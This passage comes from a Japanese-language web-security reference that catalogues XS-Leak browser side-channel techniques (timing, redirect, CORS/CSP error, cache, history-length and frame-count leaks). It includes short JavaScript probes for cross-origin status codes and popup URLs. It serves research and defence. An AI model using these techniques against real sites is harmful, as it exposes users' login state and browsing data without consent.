* **概要:** ダウンロードはパフォーマンスAPIのリソースタイミングエントリを作成しません。
* **コード例**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)

XS-Leakに記載されているように、ContentDispositionヘッダーによってダウンロードされる**リソース**も**パフォーマンスエントリを作成しません**。このテクニックは、すべての主要なブラウザで機能します。
### リダイレクト開始リーク

* **組み込み方法**: フレーム
* **検出可能な違い**: リダイレクト
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **概要**: リソースタイミングエントリがリダイレクトの開始時間を漏洩します。
* **コード例**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)

いくつかのブラウザの挙動を悪用するXS-Leakインスタンスを見つけました。標準では、クロスオリジンのリクエストに対して一部の属性がゼロに設定されるべきと定義されています。しかし、**SA**では、**Performance API**をクエリし、**redirectStartタイミングデータ**をチェックすることで、ユーザーが**リダイレクト**されたかどうかを検出することが可能です。

### リダイレクトの期間リーク

* **組み込み方法**: Fetch API
* **検出可能な違い**: リダイレクト
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **概要**: リダイレクトが発生すると、タイミングエントリの期間が負になります。
* **コード例**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)

GCでは、**リダイレクト**が発生するリクエストの**期間**が**負**になり、そのためリダイレクトが発生しないリクエストと区別することができます。

### CORPリーク

* **組み込み方法**: フレーム
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **概要**: CORPで保護されたリソースはリソースタイミングエントリを作成しません。
* **コード例**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)

いくつかのケースでは、**nextHopProtocolエントリ**がリーク手法として使用されることがあります。GCでは、**CORPヘッダー**が設定されている場合、nextHopProtocolは**空**になります。SAでは、CORP対応リソースに対してパフォーマンスエントリを一切作成しません。

### サービスワーカー

* **組み込み方法**: フレーム
* **検出可能な違い**: APIの使用
* **詳細情報**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
* **概要**: 特定のオリジンに登録されたサービスワーカーを検出します。
* **コード例**:

サービスワーカーは、オリジンで実行されるイベント駆動型のスクリプトコンテキストです。Webページのバックグラウンドで実行され、リソースをインターセプト、変更、および**キャッシュ**してオフラインWebアプリケーションを作成できます。\
サービスワーカーによって**キャッシュされたリソース**が**iframe**経由でアクセスされると、リソースは**サービスワーカーキャッシュから読み込まれます**。\
リソースが**サービスワーカーキャッシュから読み込まれたかどうか**を検出するには、**Performance API**を使用できます。\
これはタイミング攻撃でも行うことができます（詳細は論文を参照）。 

### キャッシュ

* **組み込み方法**: Fetch API
* **検出可能な違い**: タイミング
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
* **概要**: リソースがキャッシュされているかどうかを確認できます。
* **コード例**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))

[Performance API](xs-search.md#performance-api)を使用して、リソースがキャッシュされているかどうかを確認できます。

### ネットワーク期間

* **組み込み方法**: Fetch API
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
* **概要**: `performance` APIからリクエストのネットワーク期間を取得できます。
* **コード例**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)

## エラーメッセージ技術

### メディアエラー

* **組み込み方法**: HTML要素（ビデオ、オーディオ）
* **検出可能な違い**: ステータスコード
* **詳細情報**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
* **概要**: Firefoxでは、クロスオリジンリクエストのステータスコードを正確に漏洩させることが可能です。
* **コード例**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
```
### CORS エラー

* **含有方法**: Fetch API
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **概要**: セキュリティアサーション（SA）において、CORS エラーメッセージが誤ってリダイレクトされたリクエストの完全な URL を公開してしまう。
* **コード例**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

この技術は、Webkit ベースのブラウザが CORS リクエストを処理する方法を悪用することで、攻撃者が**クロスオリジンサイトのリダイレクト先を抽出**することを可能にします。特に、**CORS が有効化されたリクエスト**がユーザーステートに基づいてリダイレクトを発行するターゲットサイトに送信され、ブラウザがそのリクエストを拒否した場合、エラーメッセージ内に**リダイレクト先の完全な URL**が開示されます。この脆弱性は、リダイレクトの事実だけでなく、リダイレクトのエンドポイントとそれが含む可能性のある**機密クエリパラメータ**も公開します。

### SRI エラー

* **含有方法**: Fetch API
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **概要**: セキュリティアサーション（SA）において、CORS エラーメッセージが誤ってリダイレクトされたリクエストの完全な URL を公開してしまう。
* **コード例**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

攻撃者は、**冗長なエラーメッセージ**を悪用して、クロスオリジンレスポンスのサイズを推測することができます。これは、Subresource Integrity（SRI）のメカニズムによるもので、CDN から頻繁に取得されるリソースが改ざんされていないことを検証するために整合性属性を使用します。SRI がクロスオリジンリソースで機能するためには、これらが**CORS 有効**である必要があります。セキュリティアサーション（SA）では、CORS エラー XS-Leakと同様に、整合性属性を持つフェッチリクエストが失敗した後にエラーメッセージをキャプチャできます。攻撃者は、整合性属性に**虚偽のハッシュ値**を割り当てることで、故意に**このエラーをトリガー**することができます。SA では、結果として得られるエラーメッセージが、リクエストされたリソースのコンテンツ長を誤って明らかにします。この情報漏洩により、攻撃者は応答サイズの変化を識別し、洗練された XS-Leak 攻撃の道を開くことができます。

### CSP 違反/検出

* **含有方法**: ポップアップ
* **検出可能な違い**: ステータスコード
* **詳細情報**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **概要**: CSP で被害者のウェブサイトのみを許可し、それが異なるドメインにリダイレクトしようとすると、CSP は検出可能なエラーをトリガーします。
* **コード例**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

XS-Leak は CSP を使用して、クロスオリジンサイトが異なるオリジンにリダイレクトされたかどうかを検出できます。このリークはリダイレクトを検出できますが、さらに、リダイレクト先のドメインも漏洩します。この攻撃の基本的なアイデアは、**攻撃者サイトでターゲットドメインを許可**することです。ターゲットドメインにリクエストが送信されると、それが**クロスオリジンドメインにリダイレクト**します。**CSP は**それへのアクセスをブロックし、**リークテクニックとして使用される違反レポートを作成**します。ブラウザによっては、**このレポートがリダイレクトのターゲット位置を漏洩**する可能性があります。\
現代のブラウザは、リダイレクト先の URL を示さないかもしれませんが、クロスオリジンリダイレクトがトリガーされたことは依然として検出できます。

### キャッシュ

* **含有方法**: フレーム、ポップアップ
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **概要**: キャッシュからファイルを削除します。ターゲットページを開き、キャッシュにファイルが存在するか確認します。
* **コード例:**

ブラウザはすべてのウェブサイトに共通のキャッシュを使用する可能性があります。その起源に関係なく、ターゲットページが**特定のファイルを要求したかどうか**を推測することができます。

ページが画像を読み込むのはユーザーがログインしている場合のみである場合、**リソースを無効に**して（キャッシュされている場合はそれがなくなります、詳細情報リンクを参照）、そのリソースを読み込む可能性のあるリクエストを**実行**し、リソースを**不正なリクエストで読み込もうと**します（たとえば、過度に長いリファラーヘッダーを使用）。リソースの読み込みが**エラーをトリガーしなかった**場合、それは**キャッシュされていた**ためです。

### CSP ディレクティブ

* **含有方法**: フレーム
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **概要**: CSP ヘッダーディレクティブは、CSP iframe 属性を使用してプローブでき、ポリシーの詳細が明らかになります。
* **コード例**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)

Google Chrome（GC）の新機能では、iframe 要素に属性を設定することで、ウェブページが**Content Security Policy（CSP）を提案**できます。通常、埋め込まれたコンテンツは、HTTP リクエストと一緒にポリシーディレクティブを送信することで**これを承認する必要があり**、さもなければ**エラーページが表示**されます。ただし、iframe が既に CSP によって管理されており、新しく提案されたポリシーがより制限的でない場合、ページは通常通り読み込まれます。このメカニズムにより、攻撃者はエラーページを特定することで、クロスオリジンページの**特定の CSP ディレクティブ**を検出できます。この脆弱性は修正済みとされていましたが、私たちの調査結果は、エラーページを検出できる**新しいリーク技術**を明らかにし、根本的な問題が完全に解決されていなかった可能性を示唆しています。

### **CORP**

* **含有方法**: Fetch API
* **検出可能な違い**: ヘッダー
* **詳細情報**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **概要**: Cross-Origin Resource Policy（CORP）で保護されたリソースは、許可されていない起源から取得された場合にエラーをスローします。 
* **コード例**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)

CORP ヘッダーは、指定されたリソースへの**no-cors クロスオリジンリクエストをブロック**する比較的新しいウェブプラットフォームセキュリティ機能です。このヘッダーの存在は検出できます。なぜなら、CORP で保護されたリソースは**取得時にエラーをスロー**するからです。
### CORB

* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Headers
* **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **Summary**: CORB can allow attackers to detect when the **`nosniff` header is present** in the request.
* **Code Example**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)

攻撃に関する詳細はリンクを参照してください。

### CORS error on Origin Reflection misconfiguration <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Headers
* **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **Summary**: If the Origin header is reflected in the header `Access-Control-Allow-Origin` it's possible to check if a resource is in the cache already.
* **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)

**Originヘッダー**がヘッダー `Access-Control-Allow-Origin` に反映されている場合、攻撃者はこの動作を悪用して**CORS**モードで**リソース**を取得しようと試みることができます。**エラーが発生しない**場合、それは**ウェブから正しく取得された**ことを意味し、**エラーが発生**する場合は、それが**キャッシュからアクセスされた**ことを示します（エラーは、キャッシュが元のドメインを許可するCORSヘッダーを含む応答を保存しているために表示されます）。\
Originが反映されていないがワイルドカードが使用されている場合（`Access-Control-Allow-Origin: *`）、この攻撃は機能しません。

## Readable Attributes Technique

### Fetch Redirect

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Status Code
* **More info**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **Summary:** GC and SA allow to check the response’s type (opaque-redirect) after the redirect is finished.
* **Code Example**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)

`redirect: "manual"`と他のパラメータを使用してFetch APIを使用してリクエストを送信すると、`response.type`属性を読み取ることができ、それが`opaqueredirect`と等しい場合、応答はリダイレクトされたことを示します。

### COOP

* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **Summary:** Pages safeguarded by Cross-Origin Opener Policy (COOP) prevent access from cross-origin interactions.
* **Code Example**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)

攻撃者は、クロスオリジンHTTPレスポンスでCross-Origin Opener Policy（COOP）ヘッダーの存在を推測することができます。COOPは、外部サイトが任意のウィンドウ参照を取得するのを防ぐためにWebアプリケーションによって使用されます。このヘッダーの可視性は、**`contentWindow`参照**へのアクセスを試みることで判断できます。COOPが条件付きで適用される場合、**`opener`プロパティ**は明確な指標となります：COOPがアクティブな場合は**未定義**であり、それがない場合は**定義されています**。

### URL Max Length - Server Side

* **Inclusion Methods**: Fetch API, HTML Elements
* **Detectable Difference**: Status Code / Content
* **More info**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **Summary:** Detect differences in responses because of the redirect response length migt be too large that the server replays with an error and an alert is generated.
* **Code Example**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)

サーバーサイドのリダイレクトが**リクエスト内のユーザー入力**と**追加データ**を使用している場合、通常**サーバーにはリクエスト長の制限**があります。**ユーザーデータ**がその**長さ-1**である場合、リダイレクトが**そのデータを使用**して**何かを追加**しているため、**エラーが発生し、アラートが生成**されます。

ユーザーにクッキーを設定できる場合、**十分なクッキーを設定**することによってこの攻撃を実行することもできます（[**cookie bomb**](hacking-with-cookies/cookie-bomb.md)）。したがって、**正しい応答**の**サイズが増加**すると、**エラー**が発生します。この場合、同じサイトからこのリクエストをトリガーすると、`<script>`が自動的にクッキーを送信するため（エラーを確認できます）。\
**クッキーボム + XS-Search**の例は、この解説の意図された解決策にあります：[https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)

この種の攻撃には通常、`SameSite=None`または同じコンテキストにあることが必要です。

### URL Max Length - Client Side

* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Status Code / Content
* **More info**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **Summary:** Detect differences in responses because of the redirect response length might too large for a request that a difference can be noticed.
* **Code Example**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)

[Chromiumのドキュメント](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url\_display\_guidelines/url\_display\_guidelines.md#URL-Length)によると、Chromeの最大URL長は2MBです。

> 一般的に、_webプラットフォーム_にはURLの長さに制限はありません（ただし、2^31が一般的な制限です）。_Chrome_は、実用上の理由およびプロセス間通信におけるサービス拒否攻撃の問題を引き起こさないために、URLを最大**2MB**の長さに制限しています。

したがって、**リダイレクトURLがいずれかの場合よりも大きい場合**、**2MBを超えるURL**でリダイレクトすることが可能です。これが発生すると、Chromeは**`about:blank#blocked`**ページを表示します。

**注目すべき違い**は、**リダイレクト**が**完了**した場合、クロスオリジンはその情報にアクセスできないため、`window.origin`が**エラー**をスローすることです。ただし、**制限**が**達成**され、読み込まれたページが**`about:blank#blocked`**である場合、ウィンドウの**`origin`**は**親のもの**のままであり、これは**アクセス可能な情報**です。

**2MB**に到達するために必要なすべての追加情報は、初期URLの**ハッシュ**を使用して追加できるため、リダイレクトで使用されます。
### 最大リダイレクト数

* **組み込み方法**: Fetch API、Frames
* **検出可能な違い**: ステータスコード
* **詳細情報**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76)
* **概要:** ブラウザのリダイレクト制限を使用して、URLリダイレクションの発生を確認します。
* **コード例**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)

もしブラウザの最大リダイレクト数が20である場合、攻撃者は自身のページを19回リダイレクトし、最終的に被害者をテストされたページに送ることができます。エラーが発生した場合、ページは被害者をリダイレクトしようとしていたことがわかります。

### 履歴の長さ

* **組み込み方法**: Frames、ポップアップ
* **検出可能な違い**: リダイレクト
* **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
* **概要:** JavaScriptコードはブラウザ履歴を操作し、lengthプロパティでアクセスできます。
* **コード例**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)

**History API** はJavaScriptコードがブラウザ履歴を操作することを可能にし、**ユーザーが訪れたページを保存**します。攻撃者はlengthプロパティを組み込み方法として使用し、JavaScriptとHTMLのナビゲーションを検出します。\
`history.length` をチェックし、ユーザーにページを**ナビゲート**させ、同一オリジンに**戻し**、**`history.length`** の新しい値を**チェック**します。

### 同じURLの履歴の長さ

* **組み込み方法**: Frames、ポップアップ
* **検出可能な違い**: 推測したURLと同じかどうか
* **概要:** 履歴の長さを悪用して、フレーム/ポップアップの位置が特定のURLにあるかどうかを推測することが可能です。
* **コード例**: 下記

攻撃者はJavaScriptコードを使用して、フレーム/ポップアップの位置を推測したものに変更し、**すぐに** **`about:blank`** に変更します。履歴の長さが増加した場合、URLが正しかったことを示し、URLが同じ場合にはリロードされないため、時間があったために増加しました。増加しなかった場合、推測したURLを読み込もうとしましたが、**すぐに** **`about:blank`** を読み込んだため、推測したURLを読み込む際には**履歴の長さが増加しなかった**ことを意味します。
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
```
### フレームカウント

* **含まれる方法**: フレーム、ポップアップ
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
* **概要:** `window.length` プロパティを検査して iframe 要素の量を評価します。
* **コード例**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)

Web ページ内の `iframe` や `window.open` を通じて **フレームの数を数える**ことは、**そのページ上のユーザーの状態を特定**するのに役立つかもしれません。\
さらに、ページに常に同じ数のフレームがある場合、**継続的に**フレームの数をチェックすることで、情報を漏洩させる可能性のある **パターン** を特定するのに役立つかもしれません。

この技術の例として、Chrome では `embed` が内部で使用されるため、 **PDF** を **フレームカウント** で **検出** できます。 `zoom`、`view`、`page`、`toolbar` などの [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) があり、これらの技術が興味深いかもしれません。

### HTMLElements

* **含まれる方法**: HTML 要素
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
* **概要:** 漏洩した値を読み取り、2つの可能な状態を区別します
* **コード例**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)

HTML 要素を通じての情報漏洩は、特に動的メディアファイルがユーザー情報に基づいて生成される場合や、ウォーターマークが追加されてメディアサイズが変更される場合に、Web セキュリティ上の懸念です。これは、特定の HTML 要素が露出する情報を分析することで、攻撃者が可能な状態を区別するために悪用することができます。

### HTML 要素によって露出される情報

* **HTMLMediaElement**: この要素はメディアの `duration` と `buffered` 時間を明らかにし、その API を介してアクセスできます。[HTMLMediaElement の詳細](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
* **HTMLVideoElement**: `videoHeight` と `videoWidth` を公開します。一部のブラウザでは、`webkitVideoDecodedByteCount`、`webkitAudioDecodedByteCount`、`webkitDecodedFrameCount` などの追加のプロパティが利用可能で、メディアコンテンツについてより詳細な情報を提供します。[HTMLVideoElement の詳細](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
* **getVideoPlaybackQuality()**: この関数は、`totalVideoFrames` を含むビデオ再生品質に関する詳細を提供し、処理されたビデオデータの量を示すことができます。[getVideoPlaybackQuality() の詳細](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
* **HTMLImageElement**: この要素は画像の `height` と `width` を漏洩します。ただし、画像が無効な場合、これらのプロパティは 0 を返し、`image.decode()` 関数は拒否され、画像の読み込みに失敗したことを示します。[HTMLImageElement の詳細](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)

### CSS プロパティ

* **含まれる方法**: HTML 要素
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
* **概要:** ユーザーの状態やステータスに関連するウェブサイトのスタイリングの変化を特定します。
* **コード例**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)

Web アプリケーションは、**ユーザーの状態に応じてウェブサイトのスタイリングを変更**する場合があります。クロスオリジン CSS ファイルは、**HTML リンク要素**を使用して攻撃者ページに埋め込むことができ、その **ルール** が攻撃者ページに **適用** されます。ページがこれらのルールを動的に変更する場合、攻撃者はユーザーの状態に応じてこれらの **違い** を **検出** することができます。\
情報漏洩技術として、攻撃者は特定の HTML 要素の CSS プロパティを **読み取る** ために `window.getComputedStyle` メソッドを使用できます。その結果、影響を受ける要素とプロパティ名がわかっていれば、攻撃者は任意の CSS プロパティを読み取ることができます。

### CSS 履歴

* **含まれる方法**: HTML 要素
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
* **概要:** URL に `:visited` スタイルが適用されているかどうかを検出します
* **コード例**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)

{% hint style="info" %}
[**こちら**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) によると、ヘッドレス Chrome では機能しません。
{% endhint %}

CSS の `:visited` セレクタは、ユーザーが以前に訪れた URL を異なるスタイルで表示するために使用されます。過去には、`getComputedStyle()` メソッドを使用してこれらのスタイルの違いを特定することができました。しかし、現代のブラウザは、このメソッドがリンクの状態を明らかにするのを防ぐためのセキュリティ対策を実装しています。これらの対策には、常にリンクが訪問済みとして計算されたスタイルを返すことや、`:visited` セレクタで適用できるスタイルを制限することが含まれます。

これらの制限にもかかわらず、リンクの訪問状態を間接的に識別することは可能です。ユーザーに CSS に影響を受ける領域とやり取りさせることを特に活用するテクニックがあり、`mix-blend-mode` プロパティを使用します。このプロパティは、要素を背景とブレンドすることを可能にし、ユーザーの操作に基づいて訪問状態を明らかにする可能性があります。

さらに、ユーザーの操作なしにリンクのレンダリングタイミングを悪用することで、検出が可能です。ブラウザは訪問済みリンクと未訪問リンクを異なる方法でレンダリングする場合があるため、これによりレンダリングに時間差が生じ、タイミング分析によって訪問状態を検出できます。Chromium のバグレポートには、このテクニックを使用して複数のリンクを使用してタイミングの違いを拡大し、訪問状態をタイミング分析によって検出する方法を示した概念実証 (PoC) が記載されています。

これらのプロパティやメソッドの詳細については、それぞれのドキュメントページをご覧ください：

* `:visited`: [MDN ドキュメント](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
* `getComputedStyle()`: [MDN ドキュメント](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
* `mix-blend-mode`: [MDN ドキュメント](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
### ContentDocument X-Frame Leak

* **Inclusion Methods**: フレーム
* **Detectable Difference**: ヘッダー
* **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
* **Summary:** Google Chromeでは、クロスオリジンサイトに埋め込まれることがX-Frame-Optionsの制限によってブロックされたページには、専用のエラーページが表示されます。
* **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)

Chromeでは、`X-Frame-Options`ヘッダーが"deny"または"same-origin"に設定されたページがオブジェクトとして埋め込まれると、エラーページが表示されます。Chromeは、他のブラウザやiframesとは異なり、このオブジェクトの`contentDocument`プロパティに対して`null`ではなく空のドキュメントオブジェクトを返します。攻撃者は、空のドキュメントを検出することで、X-Frame-Optionsヘッダーを一貫して設定せずにエラーページを見落とす開発者がいる場合、ユーザーの状態に関する情報を明らかにする可能性があります。このようなリークを防ぐためには、セキュリティヘッダーの意識と一貫した適用が重要です。

### Download Detection

* **Inclusion Methods**: フレーム、ポップアップ
* **Detectable Difference**: ヘッダー
* **More info**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
* **Summary:** 攻撃者は、iframeを活用してファイルのダウンロードを識別できます。iframeへの継続的なアクセス可能性は、ファイルのダウンロードが成功したことを示唆します。
* **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)

特に`Content-Disposition: attachment`という`Content-Disposition`ヘッダーは、ブラウザにコンテンツをインライン表示するのではなくダウンロードするよう指示します。この動作を利用して、ユーザーがファイルのダウンロードをトリガーするページにアクセスできるかどうかを検出することができます。Chromiumベースのブラウザでは、このダウンロード動作を検出するためのいくつかのテクニックがあります：

1. **ダウンロードバーの監視**:
* Chromiumベースのブラウザでファイルをダウンロードすると、ブラウザウィンドウの下部にダウンロードバーが表示されます。
* ウィンドウの高さの変化を監視することで、ダウンロードバーの表示を推測し、ダウンロードが開始されたことを示唆できます。
2. **iframeを使用したダウンロードナビゲーション**:
